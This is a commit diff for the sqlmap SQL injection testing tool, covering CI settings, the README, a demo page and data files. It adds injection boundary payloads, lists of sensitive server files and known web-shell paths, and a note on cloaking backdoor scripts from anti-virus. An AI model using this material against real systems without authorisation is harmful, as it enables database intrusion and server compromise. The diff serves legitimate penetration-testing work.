Patch for known NCHAR/UNION-query SQLi problems

* Make asterisk work with --csrf-token option

* add --file-write support in HSQLDB

Co-authored-by: tree <[email protected]>

.travis.yml

@@ -9,9 +9,8 @@ jobs:
           dist: trusty
         - python: 3.6
           dist: trusty
-        - python: 3.8
-          dist: xenial
-sudo: false
+        - python: 3.9-dev
+          dist: bionic
 git:
     depth: 1
 script:

README.md

@@ -4,7 +4,7 @@
 
 sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
 
-**The sqlmap project is currently searching for sponsor(s).**
+**sqlmap is sponsored by [SpyderSec](https://spydersec.com/).**
 
 Screenshots
 ----
@@ -64,6 +64,7 @@ Translations
 * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
 * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
 * [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
+* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
 * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
 * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)

data/html/index.html

@@ -1,150 +1,151 @@
-<!DOCTYPE html>
+<!DOCTYPE html>
 
 <!-- http://angrytools.com/bootstrap/editor/ -->
 
-<html lang="en">
-<head>
-    <meta charset="utf-8">
-    <meta http-equiv="X-UA-Compatible" content="IE=edge">
-    <meta name="viewport" content="width=device-width, initial-scale=1">
-    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
-    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
-    
-    <!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
-</head>
-<body>
-    <style>
-  #wrapper { width: 100%; }
-
-  #page-wrapper {
-    padding: 0 15px;
-    min-height: 568px;
-    background-color: #fff;
-  }
-
-  @media(min-width:768px) {
-    #page-wrapper {
-      position: inherit;
-      margin: 0 0 0 250px;
-      padding: 0 30px;
-      border-left: 1px solid #e7e7e7;
-    }
-  } 
-
-  .sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
-  .sidebar .sidebar-search { padding: 15px; }
-  .sidebar ul li { border-bottom: 1px solid #e7e7e7; }
-
-  .sidebar ul li a.active { background-color: #eee; }
-
-  .sidebar .arrow { float: right;}
-  .sidebar .fa.arrow:before { content: "f104";}
-  .sidebar .active>a>.fa.arrow:before { content: "f107"; }
-  .sidebar .nav-second-level li,
-  .sidebar .nav-third-level li {
-    border-bottom: 0!important;
-  }
-
-  .sidebar .nav-second-level li a { padding-left: 37px; }
-  .sidebar .nav-third-level li a { padding-left: 52px; }
-
-  @media(min-width:768px) {
-    .sidebar {
-      z-index: 1;
-      position: absolute;
-      width: 250px;
-      margin-top: 51px;
-    }   
-  } 
-</style>
-<div id="wrapper">
-
-  <nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
-    <div class="navbar-header">
-      <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
-        <span class="sr-only">Toggle navigation</span>
-        <span class="icon-bar"></span>
-        <span class="icon-bar"></span>
-        <span class="icon-bar"></span>
-      </button>
-      <a class="navbar-brand" href="index.html">sqlmap</a>
-    </div>
-
-    <div class="navbar-default sidebar" role="navigation">
-      <div class="sidebar-nav navbar-collapse">
-        <ul class="nav" id="side-menu">                        
-          <li>
-            <a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
-            <ul class="nav nav-second-level">
-              <li><a>Target</a></li>
-              <li><a>Request</a></li>
-              <li><a>Optimization</a></li>
-              <li><a>Injection</a></li>
-              <li><a>Detection</a></li>
-              <li><a>Techniques</a></li>
-              <li><a>Fingerprint</a></li>
-              <li><a>Enumeration</a></li>
-              <li><a>Brute force</a></li>
-              <li><a>User-defined function injection</a></li>
-              <li><a>File system access</a></li>
-              <li><a>Operating system access</a></li>
-              <li><a>Windows registry access</a></li>
-              <li><a>General</a></li>
-              <li><a>Miscellaneous</a></li>
-            </ul> 
-          </li> 
-        </ul>
-      </div>
-    </div>             
-  </nav>
-
-  <div id="page-wrapper"> 
-    <div class="row">
-      <h4>DEMO</h4>
-    </div> 
-  </div>
-</div>
-<script>
-  /*
- * metismenu - v1.0.3
- * Easy menu jQuery plugin for Twitter Bootstrap 3
- * https://github.com/onokumus/metisMenu
- *
- * Made by Osman Nuri Okumuş
- * Under MIT License
-*/
-  !function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
-
-  $(function() {
-
-    $('#side-menu').metisMenu();
-
-  });
-
-  //Loads the correct sidebar on window load,
-  //collapses the sidebar on window resize.
-  // Sets the min-height of #page-wrapper to window size
-  $(function() {
-    $(window).bind("load resize", function() {
-      topOffset = 50;
-      width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
-      if (width < 768) {
-        $('div.navbar-collapse').addClass('collapse')
-        topOffset = 100; // 2-row-menu
-      } else {
-        $('div.navbar-collapse').removeClass('collapse')
-      }
-
-      height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
-      height = height - topOffset;
-      if (height < 1) height = 1;
-      if (height > topOffset) {
-        $("#page-wrapper").css("min-height", (height) + "px");
-      }
-    })
-  });
-</script>
-    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
-    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
-</body>
+<html lang="en">
+<head>
+    <title>DEMO</title>
+    <meta charset="utf-8">
+    <meta http-equiv="X-UA-Compatible" content="IE=edge">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
+    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
+
+    <!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
+</head>
+<body>
+    <style>
+  #wrapper { width: 100%; }
+
+  #page-wrapper {
+    padding: 0 15px;
+    min-height: 568px;
+    background-color: #fff;
+  }
+
+  @media(min-width:768px) {
+    #page-wrapper {
+      position: inherit;
+      margin: 0 0 0 250px;
+      padding: 0 30px;
+      border-left: 1px solid #e7e7e7;
+    }
+  }
+
+  .sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
+  .sidebar .sidebar-search { padding: 15px; }
+  .sidebar ul li { border-bottom: 1px solid #e7e7e7; }
+
+  .sidebar ul li a.active { background-color: #eee; }
+
+  .sidebar .arrow { float: right;}
+  .sidebar .fa.arrow:before { content: "f104";}
+  .sidebar .active>a>.fa.arrow:before { content: "f107"; }
+  .sidebar .nav-second-level li,
+  .sidebar .nav-third-level li {
+    border-bottom: 0!important;
+  }
+
+  .sidebar .nav-second-level li a { padding-left: 37px; }
+  .sidebar .nav-third-level li a { padding-left: 52px; }
+
+  @media(min-width:768px) {
+    .sidebar {
+      z-index: 1;
+      position: absolute;
+      width: 250px;
+      margin-top: 51px;
+    }
+  }
+</style>
+<div id="wrapper">
+
+  <nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
+    <div class="navbar-header">
+      <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
+        <span class="sr-only">Toggle navigation</span>
+        <span class="icon-bar"></span>
+        <span class="icon-bar"></span>
+        <span class="icon-bar"></span>
+      </button>
+      <a class="navbar-brand" href="index.html">sqlmap</a>
+    </div>
+
+    <div class="navbar-default sidebar" role="navigation">
+      <div class="sidebar-nav navbar-collapse">
+        <ul class="nav" id="side-menu">
+          <li>
+            <a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
+            <ul class="nav nav-second-level">
+              <li><a>Target</a></li>
+              <li><a>Request</a></li>
+              <li><a>Optimization</a></li>
+              <li><a>Injection</a></li>
+              <li><a>Detection</a></li>
+              <li><a>Techniques</a></li>
+              <li><a>Fingerprint</a></li>
+              <li><a>Enumeration</a></li>
+              <li><a>Brute force</a></li>
+              <li><a>User-defined function injection</a></li>
+              <li><a>File system access</a></li>
+              <li><a>Operating system access</a></li>
+              <li><a>Windows registry access</a></li>
+              <li><a>General</a></li>
+              <li><a>Miscellaneous</a></li>
+            </ul>
+          </li>
+        </ul>
+      </div>
+    </div>
+  </nav>
+
+  <div id="page-wrapper">
+    <div class="row">
+      <h4>DEMO</h4>
+    </div>
+  </div>
+</div>
+<script>
+  /*
+ * metismenu - v1.0.3
+ * Easy menu jQuery plugin for Twitter Bootstrap 3
+ * https://github.com/onokumus/metisMenu
+ *
+ * Made by Osman Nuri Okumuş
+ * Under MIT License
+*/
+  !function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
+
+  $(function() {
+
+    $('#side-menu').metisMenu();
+
+  });
+
+  //Loads the correct sidebar on window load,
+  //collapses the sidebar on window resize.
+  // Sets the min-height of #page-wrapper to window size
+  $(function() {
+    $(window).bind("load resize", function() {
+      topOffset = 50;
+      width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
+      if (width < 768) {
+        $('div.navbar-collapse').addClass('collapse')
+        topOffset = 100; // 2-row-menu
+      } else {
+        $('div.navbar-collapse').removeClass('collapse')
+      }
+
+      height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
+      height = height - topOffset;
+      if (height < 1) height = 1;
+      if (height > topOffset) {
+        $("#page-wrapper").css("min-height", (height) + "px");
+      }
+    })
+  });
+</script>
+    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
+    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
+</body>
 </html>

data/shell/README.txt

@@ -1,7 +1,7 @@
-Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
+Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
 
 To prepare the original scripts to the cloaked form use this command:
-find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
+find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
 
 To get back them into the original form use this:
-find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
+find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;

data/txt/common-files.txt

@@ -679,17 +679,6 @@
 
 /.htaccess
 /.htpasswd
-/[jboss]/server/default/conf/jboss-minimal.xml
-/[jboss]/server/default/conf/jboss-service.xml
-/[jboss]/server/default/conf/jndi.properties
-/[jboss]/server/default/conf/log4j.xml
-/[jboss]/server/default/conf/login-config.xml
-/[jboss]/server/default/conf/server.log.properties
-/[jboss]/server/default/conf/standardjaws.xml
-/[jboss]/server/default/conf/standardjboss.xml
-/[jboss]/server/default/deploy/jboss-logging.xml
-/[jboss]/server/default/log/boot.log
-/[jboss]/server/default/log/server.log
 /access.log
 /access_log
 /apache/conf/httpd.conf
@@ -1024,17 +1013,17 @@
 /mysql/my.cnf
 /mysql/my.ini
 /netserver/bin/stable/apache/php.ini
-/opt/[jboss]/server/default/conf/jboss-minimal.xml
-/opt/[jboss]/server/default/conf/jboss-service.xml
-/opt/[jboss]/server/default/conf/jndi.properties
-/opt/[jboss]/server/default/conf/log4j.xml
-/opt/[jboss]/server/default/conf/login-config.xml
-/opt/[jboss]/server/default/conf/server.log.properties
-/opt/[jboss]/server/default/conf/standardjaws.xml
-/opt/[jboss]/server/default/conf/standardjboss.xml
-/opt/[jboss]/server/default/deploy/jboss-logging.xml
-/opt/[jboss]/server/default/log/boot.log
-/opt/[jboss]/server/default/log/server.log
+/opt/jboss/server/default/conf/jboss-minimal.xml
+/opt/jboss/server/default/conf/jboss-service.xml
+/opt/jboss/server/default/conf/jndi.properties
+/opt/jboss/server/default/conf/log4j.xml
+/opt/jboss/server/default/conf/login-config.xml
+/opt/jboss/server/default/conf/server.log.properties
+/opt/jboss/server/default/conf/standardjaws.xml
+/opt/jboss/server/default/conf/standardjboss.xml
+/opt/jboss/server/default/deploy/jboss-logging.xml
+/opt/jboss/server/default/log/boot.log
+/opt/jboss/server/default/log/server.log
 /opt/apache/apache.conf
 /opt/apache/apache2.conf
 /opt/apache/conf/apache.conf
@@ -1075,17 +1064,6 @@
 /private/etc/httpd/httpd.conf
 /private/etc/httpd/httpd.conf.default
 /private/etc/squirrelmail/config/config.php
-/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
-/private/tmp/[jboss]/server/default/conf/jboss-service.xml
-/private/tmp/[jboss]/server/default/conf/jndi.properties
-/private/tmp/[jboss]/server/default/conf/log4j.xml
-/private/tmp/[jboss]/server/default/conf/login-config.xml
-/private/tmp/[jboss]/server/default/conf/server.log.properties
-/private/tmp/[jboss]/server/default/conf/standardjaws.xml
-/private/tmp/[jboss]/server/default/conf/standardjboss.xml
-/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
-/private/tmp/[jboss]/server/default/log/boot.log
-/private/tmp/[jboss]/server/default/log/server.log
 /proc/cpuinfo
 /proc/devices
 /proc/meminfo
@@ -1114,17 +1092,17 @@
 /proc/self/stat
 /proc/self/status
 /proc/version
-/program files/[jboss]/server/default/conf/jboss-minimal.xml
-/program files/[jboss]/server/default/conf/jboss-service.xml
-/program files/[jboss]/server/default/conf/jndi.properties
-/program files/[jboss]/server/default/conf/log4j.xml
-/program files/[jboss]/server/default/conf/login-config.xml
-/program files/[jboss]/server/default/conf/server.log.properties
-/program files/[jboss]/server/default/conf/standardjaws.xml
-/program files/[jboss]/server/default/conf/standardjboss.xml
-/program files/[jboss]/server/default/deploy/jboss-logging.xml
-/program files/[jboss]/server/default/log/boot.log
-/program files/[jboss]/server/default/log/server.log
+/program files/jboss/server/default/conf/jboss-minimal.xml
+/program files/jboss/server/default/conf/jboss-service.xml
+/program files/jboss/server/default/conf/jndi.properties
+/program files/jboss/server/default/conf/log4j.xml
+/program files/jboss/server/default/conf/login-config.xml
+/program files/jboss/server/default/conf/server.log.properties
+/program files/jboss/server/default/conf/standardjaws.xml
+/program files/jboss/server/default/conf/standardjboss.xml
+/program files/jboss/server/default/deploy/jboss-logging.xml
+/program files/jboss/server/default/log/boot.log
+/program files/jboss/server/default/log/server.log
 /program files/apache group/apache/apache.conf
 /program files/apache group/apache/apache2.conf
 /program files/apache group/apache/conf/apache.conf
@@ -1177,17 +1155,17 @@
 /system/library/webobjects/adaptors/apache2.2/apache.conf
 /temp/sess_
 /thttpd_log
-/tmp/[jboss]/server/default/conf/jboss-minimal.xml
-/tmp/[jboss]/server/default/conf/jboss-service.xml
-/tmp/[jboss]/server/default/conf/jndi.properties
-/tmp/[jboss]/server/default/conf/log4j.xml
-/tmp/[jboss]/server/default/conf/login-config.xml
-/tmp/[jboss]/server/default/conf/server.log.properties
-/tmp/[jboss]/server/default/conf/standardjaws.xml
-/tmp/[jboss]/server/default/conf/standardjboss.xml
-/tmp/[jboss]/server/default/deploy/jboss-logging.xml
-/tmp/[jboss]/server/default/log/boot.log
-/tmp/[jboss]/server/default/log/server.log
+/tmp/jboss/server/default/conf/jboss-minimal.xml
+/tmp/jboss/server/default/conf/jboss-service.xml
+/tmp/jboss/server/default/conf/jndi.properties
+/tmp/jboss/server/default/conf/log4j.xml
+/tmp/jboss/server/default/conf/login-config.xml
+/tmp/jboss/server/default/conf/server.log.properties
+/tmp/jboss/server/default/conf/standardjaws.xml
+/tmp/jboss/server/default/conf/standardjboss.xml
+/tmp/jboss/server/default/deploy/jboss-logging.xml
+/tmp/jboss/server/default/log/boot.log
+/tmp/jboss/server/default/log/server.log
 /tmp/access.log
 /tmp/sess_
 /usr/apache/conf/httpd.conf
@@ -1202,17 +1180,17 @@
 /usr/lib/php.ini
 /usr/lib/php/php.ini
 /usr/lib/security/mkuser.default
-/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
-/usr/local/[jboss]/server/default/conf/jboss-service.xml
-/usr/local/[jboss]/server/default/conf/jndi.properties
-/usr/local/[jboss]/server/default/conf/log4j.xml
-/usr/local/[jboss]/server/default/conf/login-config.xml
-/usr/local/[jboss]/server/default/conf/server.log.properties
-/usr/local/[jboss]/server/default/conf/standardjaws.xml
-/usr/local/[jboss]/server/default/conf/standardjboss.xml
-/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
-/usr/local/[jboss]/server/default/log/boot.log
-/usr/local/[jboss]/server/default/log/server.log
+/usr/local/jboss/server/default/conf/jboss-minimal.xml
+/usr/local/jboss/server/default/conf/jboss-service.xml
+/usr/local/jboss/server/default/conf/jndi.properties
+/usr/local/jboss/server/default/conf/log4j.xml
+/usr/local/jboss/server/default/conf/login-config.xml
+/usr/local/jboss/server/default/conf/server.log.properties
+/usr/local/jboss/server/default/conf/standardjaws.xml
+/usr/local/jboss/server/default/conf/standardjboss.xml
+/usr/local/jboss/server/default/deploy/jboss-logging.xml
+/usr/local/jboss/server/default/log/boot.log
+/usr/local/jboss/server/default/log/server.log
 /usr/local/apache/apache.conf
 /usr/local/apache/apache2.conf
 /usr/local/apache/conf/access.conf
@@ -1801,4 +1779,21 @@
 /etc/httpd/conf.d/squirrelmail.conf
 /usr/share/squirrelmail/config/config.php
 /private/etc/squirrelmail/config/config.php
-/srv/www/htdos/squirrelmail/config/config.php
+/srv/www/htdos/squirrelmail/config/config.php
+
+# Web shells
+
+/var/www/html/backdoor.php
+/var/www/html/b374k.php
+/var/www/html/c99.php
+/var/www/html/cmd.php
+/var/www/html/r57.php
+/var/www/html/shell.php
+/var/www/html/wso.php
+
+# Misc
+
+/etc/lib/nfs/etab
+/app/app.js
+/app/configure.js
+/app/config/config.json

data/txt/common-tables.txt

@@ -442,6 +442,7 @@ exchange
 Status
 WORKS_ON
 lines
+testusers
 booleantests
 QRTZ_SIMPLE_TRIGGERS
 mobile_menu

data/txt/keywords.txt

@@ -259,6 +259,7 @@ YEAR
 ZONE
 
 # MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
+
 ADD
 ALL
 ALTER
@@ -450,3 +451,424 @@ WITH
 WRITEXOR
 YEAR_MONTH
 ZEROFILL
+
+# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
+
+ABS
+ACOS
+ALL
+ALLOCATE
+ALTER
+ANALYSE
+ANALYZE
+AND
+ANY
+ARE
+ARRAY
+ARRAY_AGG
+ARRAY_MAX_CARDINALITY
+AS
+ASC
+ASENSITIVE
+ASIN
+ASYMMETRIC
+AT
+ATAN
+ATOMIC
+AUTHORIZATION
+AVG
+BEGIN
+BEGIN_FRAME
+BEGIN_PARTITION
+BETWEEN
+BIGINT
+BINARY
+BLOB
+BOOLEAN
+BOTH
+BY
+CALL
+CALLED
+CARDINALITY
+CASCADED
+CASE
+CAST
+CEIL
+CEILING
+CHAR
+CHARACTER
+CHARACTER_LENGTH
+CHAR_LENGTH
+CHECK
+CLASSIFIER
+CLOB
+CLOSE
+COALESCE
+COLLATE
+COLLATION
+COLLECT
+COLUMN
+COMMIT
+CONCURRENTLY
+CONDITION
+CONNECT
+CONSTRAINT
+CONTAINS
+CONVERT
+COPY
+CORR
+CORRESPONDING
+COS
+COSH
+COUNT
+COVAR_POP
+COVAR_SAMP
+CREATE
+CROSS
+CUBE
+CUME_DIST
+CURRENT
+CURRENT_CATALOG
+CURRENT_DATE
+CURRENT_DEFAULT_TRANSFORM_GROUP
+CURRENT_PATH
+CURRENT_ROLE
+CURRENT_ROW
+CURRENT_SCHEMA
+CURRENT_TIME
+CURRENT_TIMESTAMP
+CURRENT_TRANSFORM_GROUP_FOR_TYPE
+CURRENT_USER
+CURSOR
+CYCLE
+DATALINK
+DATE
+DAY
+DEALLOCATE
+DEC
+DECFLOAT
+DECIMAL
+DECLARE
+DEFAULT
+DEFERRABLE
+DEFINE
+DELETE
+DENSE_RANK
+DEREF
+DESC
+DESCRIBE
+DETERMINISTIC
+DISCONNECT
+DISTINCT
+DLNEWCOPY
+DLPREVIOUSCOPY
+DLURLCOMPLETE
+DLURLCOMPLETEONLY
+DLURLCOMPLETEWRITE
+DLURLPATH
+DLURLPATHONLY
+DLURLPATHWRITE
+DLURLSCHEME
+DLURLSERVER
+DLVALUE
+DO
+DOUBLE
+DROP
+DYNAMIC
+EACH
+ELEMENT
+ELSE
+EMPTY
+END
+END-EXEC
+END_FRAME
+END_PARTITION
+EQUALS
+ESCAPE
+EVERY
+EXCEPT
+EXEC
+EXECUTE
+EXISTS
+EXP
+EXTERNAL
+EXTRACT
+FALSE
+FETCH
+FILTER
+FIRST_VALUE
+FLOAT
+FLOOR
+FOR
+FOREIGN
+FRAME_ROW
+FREE
+FREEZE
+FROM
+FULL
+FUNCTION
+FUSION
+GET
+GLOBAL
+GRANT
+GROUP
+GROUPING
+GROUPS
+HAVING
+HOLD
+HOUR
+IDENTITY
+ILIKE
+IMPORT
+IN
+INDICATOR
+INITIAL
+INITIALLY
+INNER
+INOUT
+INSENSITIVE
+INSERT
+INT
+INTEGER
+INTERSECT
+INTERSECTION
+INTERVAL
+INTO
+IS
+ISNULL
+JOIN
+JSON_ARRAY
+JSON_ARRAYAGG
+JSON_EXISTS
+JSON_OBJECT
+JSON_OBJECTAGG
+JSON_QUERY
+JSON_TABLE
+JSON_TABLE_PRIMITIVE
+JSON_VALUE
+LAG
+LANGUAGE
+LARGE
+LAST_VALUE
+LATERAL
+LEAD
+LEADING
+LEFT
+LIKE
+LIKE_REGEX
+LIMIT
+LISTAGG
+LN
+LOCAL
+LOCALTIME
+LOCALTIMESTAMP
+LOG
+LOG10
+LOWER
+MATCH
+MATCHES
+MATCH_NUMBER
+MATCH_RECOGNIZE
+MAX
+MEASURES
+MEMBER
+MERGE
+METHOD
+MIN
+MINUTE
+MOD
+MODIFIES
+MODULE
+MONTH
+MULTISET
+NATIONAL
+NATURAL
+NCHAR
+NCLOB
+NEW
+NO
+NONE
+NORMALIZE
+NOT
+NOTNULL
+NTH_VALUE
+NTILE
+NULL
+NULLIF
+NUMERIC
+OCCURRENCES_REGEX
+OCTET_LENGTH
+OF
+OFFSET
+OLD
+OMIT
+ON
+ONE
+ONLY
+OPEN
+OR
+ORDER
+OUT
+OUTER
+OVER
+OVERLAPS
+OVERLAY
+PARAMETER
+PARTITION
+PATTERN
+PER
+PERCENT
+PERCENTILE_CONT
+PERCENTILE_DISC
+PERCENT_RANK
+PERIOD
+PERMUTE
+PLACING
+PORTION
+POSITION
+POSITION_REGEX
+POWER
+PRECEDES
+PRECISION
+PREPARE
+PRIMARY
+PROCEDURE
+PTF
+RANGE
+RANK
+READS
+REAL
+RECURSIVE
+REF
+REFERENCES
+REFERENCING
+REGR_AVGX
+REGR_AVGY
+REGR_COUNT
+REGR_INTERCEPT
+REGR_R2
+REGR_SLOPE
+REGR_SXX
+REGR_SXY
+REGR_SYY
+RELEASE
+RESULT
+RETURN
+RETURNING
+RETURNS
+REVOKE
+RIGHT
+ROLLBACK
+ROLLUP
+ROW
+ROWS
+ROW_NUMBER
+RUNNING
+SAVEPOINT
+SCOPE
+SCROLL
+SEARCH
+SECOND
+SEEK
+SELECT
+SENSITIVE
+SESSION_USER
+SET
+SHOW
+SIMILAR
+SIN
+SINH
+SKIP
+SMALLINT
+SOME
+SPECIFIC
+SPECIFICTYPE
+SQL
+SQLEXCEPTION
+SQLSTATE
+SQLWARNING
+SQRT
+START
+STATIC
+STDDEV_POP
+STDDEV_SAMP
+SUBMULTISET
+SUBSET
+SUBSTRING
+SUBSTRING_REGEX
+SUCCEEDS
+SUM
+SYMMETRIC
+SYSTEM
+SYSTEM_TIME
+SYSTEM_USER
+TABLE
+TABLESAMPLE
+TAN
+TANH
+THEN
+TIME
+TIMESTAMP
+TIMEZONE_HOUR
+TIMEZONE_MINUTE
+TO
+TRAILING
+TRANSLATE
+TRANSLATE_REGEX
+TRANSLATION
+TREAT
+TRIGGER
+TRIM
+TRIM_ARRAY
+TRUE
+TRUNCATE
+UESCAPE
+UNION
+UNIQUE
+UNKNOWN
+UNMATCHED
+UNNEST
+UPDATE
+UPPER
+USER
+USING
+VALUE
+VALUES
+VALUE_OF
+VARBINARY
+VARCHAR
+VARIADIC
+VARYING
+VAR_POP
+VAR_SAMP
+VERBOSE
+VERSIONING
+WHEN
+WHENEVER
+WHERE
+WIDTH_BUCKET
+WINDOW
+WITH
+WITHIN
+WITHOUT
+XML
+XMLAGG
+XMLATTRIBUTES
+XMLBINARY
+XMLCAST
+XMLCOMMENT
+XMLCONCAT
+XMLDOCUMENT
+XMLELEMENT
+XMLEXISTS
+XMLFOREST
+XMLITERATE
+XMLNAMESPACES
+XMLPARSE
+XMLPI
+XMLQUERY
+XMLSERIALIZE
+XMLTABLE
+XMLTEXT
+XMLVALIDATE
+YEAR

data/xml/banner/generic.xml

@@ -83,6 +83,10 @@
         <info type="Linux"/>
     </regexp>
 
+    <regexp value="\bArch\b">
+        <info type="Linux" distrib="Arch"/>
+    </regexp>
+
     <regexp value="CentOS">
         <info type="Linux" distrib="CentOS"/>
     </regexp>
@@ -115,10 +119,22 @@
         <info type="Linux" distrib="Mandrake"/>
     </regexp>
 
+    <regexp value="Manjaro">
+        <info type="Linux" distrib="Manjaro"/>
+    </regexp>
+
     <regexp value="Mandriva">
         <info type="Linux" distrib="Mandriva"/>
     </regexp>
 
+    <regexp value="\bMint\b">
+        <info type="Linux" distrib="Mint"/>
+    </regexp>
+
+    <regexp value="\bPuppy\b">
+        <info type="Linux" distrib="Puppy"/>
+    </regexp>
+
     <regexp value="Red[\-\_\ ]?Hat">
         <info type="Linux" distrib="Red Hat"/>
     </regexp>

data/xml/boundaries.xml

@@ -213,6 +213,15 @@ Formats:
         <suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
     </boundary>
 
+    <boundary>
+        <level>2</level>
+        <clause>1</clause>
+        <where>1,2</where>
+        <ptype>3</ptype>
+        <prefix>%'</prefix>
+        <suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
+    </boundary>
+
     <boundary>
         <level>2</level>
         <clause>1</clause>

data/xml/errors.xml

@@ -1,13 +1,14 @@
 <?xml version="1.0" encoding="UTF-8"?>
 
 <root>
-    <!-- MySQL -->
     <dbms value="MySQL">
         <error regexp="SQL syntax.*?MySQL"/>
         <error regexp="Warning.*?\Wmysqli?_"/>
         <error regexp="MySQLSyntaxErrorException"/>
         <error regexp="valid MySQL result"/>
-        <error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/>
+        <error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
+        <error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
